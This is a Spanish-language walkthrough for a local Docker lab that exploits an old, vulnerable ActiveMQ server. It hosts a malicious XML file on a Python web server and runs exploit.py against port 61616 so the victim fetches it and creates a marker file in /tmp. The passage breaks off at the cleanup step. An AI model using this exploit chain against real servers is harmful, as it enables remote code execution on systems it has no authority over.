🚀 Guía de uso paso a paso

Paso 1: Iniciar la víctima (ActiveMQ)

Ejecutaremos una versión antigua y vulnerable de ActiveMQ usando Docker.

1. Abre una terminal.
2. Navega a la carpeta vulnerable-env:
   root@kitploit:~

   cd vulnerable-env
   

3. Inicia el contenedor:
   root@kitploit:~

   docker-compose up -d
   

4. Espera 30 segundos para que el servidor se inicie por completo.

Paso 2: Alojar el XML malicioso

El servidor víctima necesita descargar instrucciones de nosotros. Configuraremos un pequeño servidor web para alojar estas instrucciones.

1. Abre una segunda terminal.
2. Navega a la carpeta attacker:
   root@kitploit:~

   cd attacker
   

3. Inicia el servidor web de Python:
   root@kitploit:~

   python3 serve.py
   

   ¡Mantén esta terminal abierta! Deberías ver "Serving HTTP on 0.0.0.0 port 8000..."

Paso 3: Ejecutar el exploit

Ahora enviamos el paquete de red específico que desencadena la vulnerabilidad.

1. Abre una tercera terminal.

2. Navega a la carpeta attacker:

   root@kitploit:~

   cd attacker
   

3. Ejecuta el script de explotación.

   • Nota: Si estás en macOS o Windows, usa el comando a continuación exactamente como está escrito.
   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Usuarios de Linux: Si estás en Linux, reemplaza host.docker.internal con la puerta de enlace del puente de red, generalmente: 172.17.0.1. Intenta obtener la dirección de esta manera si la prescrita no funciona: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Paso 4: Verificar el ataque

¿Funcionó? Vamos a comprobar si el archivo fue creado dentro del contenedor.

1. Vuelve a tu primera terminal (o cualquier terminal).
2. Ejecuta este comando para verificar la carpeta /tmp dentro de la víctima:
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. Éxito: Deberías ver un archivo llamado pwned_by_ssp_team.

🧹 Limpieza

Para detener y eliminar el contenedor vulnerable: